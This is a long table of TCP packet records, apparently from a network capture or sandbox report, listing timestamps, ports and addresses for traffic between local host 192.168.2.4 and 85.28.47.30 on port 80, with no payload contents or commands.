Jul 4, 2024 20:34:06.529640913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529649019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529663086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529666901 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529676914 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529690981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529695034 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529704094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529722929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529737949 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529757977 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529762983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529774904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529788017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529800892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529802084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529814959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529829025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529829979 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529844046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529856920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529861927 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529870987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529870987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529886007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529898882 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529905081 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529916048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529930115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529933929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529942036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529942989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529958010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529973984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.529974937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.529994965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530006886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530010939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530024052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530028105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530040026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530051947 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530067921 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530090094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530262947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530277014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530291080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530302048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530304909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530318975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530328989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530337095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530343056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530356884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530369997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530369997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530384064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.530397892 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.530422926 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.620873928 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620897055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620912075 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620927095 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620942116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620955944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620970964 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.620978117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621006012 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621020079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621022940 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621032953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621047020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621047974 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621059895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621073961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621079922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621089935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621102095 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621104002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621124983 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621126890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621135950 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621141911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621155024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621166945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621169090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621182919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621191978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621205091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621213913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621218920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621233940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621247053 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621259928 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621284962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621337891 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621352911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621366024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621380091 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621381044 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621392012 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621393919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621407986 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621416092 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621423006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621429920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621438026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621458054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621469975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621473074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621490955 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621491909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621505976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621512890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621526957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621535063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621541023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621555090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621555090 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621568918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621572971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621583939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621598959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621603966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621613026 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621625900 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621629953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621639967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621654987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621658087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621675968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621676922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621690035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621702909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621705055 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621718884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621732950 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621735096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621747017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621778011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621778965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621793985 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621815920 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621846914 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.621963024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621978045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.621992111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622005939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622009993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622020960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622037888 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622044086 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622052908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622066021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622080088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622080088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622093916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622108936 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622108936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622122049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622136116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622138977 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622148991 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622162104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622163057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.622183084 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.622217894 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.711179018 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.719079971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902797937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902822018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902879000 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902893066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.902894020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902893066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.902909040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902923107 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.902924061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902937889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902952909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902966976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.902970076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903013945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903047085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903072119 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903085947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903103113 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903122902 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903131962 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903199911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903214931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903228045 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903242111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903249025 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903256893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903259993 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903287888 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903315067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903367996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903410912 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903528929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903542042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903556108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903569937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903582096 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903583050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903604031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903610945 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903618097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903631926 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903633118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903661966 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903667927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903682947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903692961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903697014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903712034 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903722048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903727055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903739929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903778076 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903860092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903875113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903903008 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903919935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903934956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903943062 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903950930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903961897 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903980017 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.903995037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.903997898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904010057 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904022932 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904036045 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904037952 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904052019 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904057026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904067039 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904090881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904191971 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904206038 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904218912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904232025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904237032 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904247046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904259920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904268980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904275894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904290915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904294014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904304981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904314995 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904319048 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904334068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904334068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904369116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904463053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904478073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904500008 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904510975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904514074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904527903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904531002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904552937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904580116 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904629946 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904645920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904659033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904680967 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904695988 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904705048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904784918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904802084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904823065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904838085 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904839039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904858112 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904865980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904881954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.904943943 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904958963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904973984 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.904987097 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.905000925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.905025005 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994415998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994440079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994457006 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994471073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994486094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994498968 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994513035 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994527102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994525909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994540930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994554996 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994571924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994587898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994597912 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994607925 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994611025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994625092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994626999 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994638920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994652987 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994652987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994668961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994683027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994697094 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994719982 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994813919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994858980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994940042 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994952917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994967937 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.994985104 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.994997978 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.995021105 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.995083094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.995096922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.995122910 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.995137930 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996412039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996427059 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996442080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996454954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996469021 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996469021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996491909 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996505976 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:06.996506929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:06.996517897 CEST	80	49730	85.28.47.30	192.168.2.4
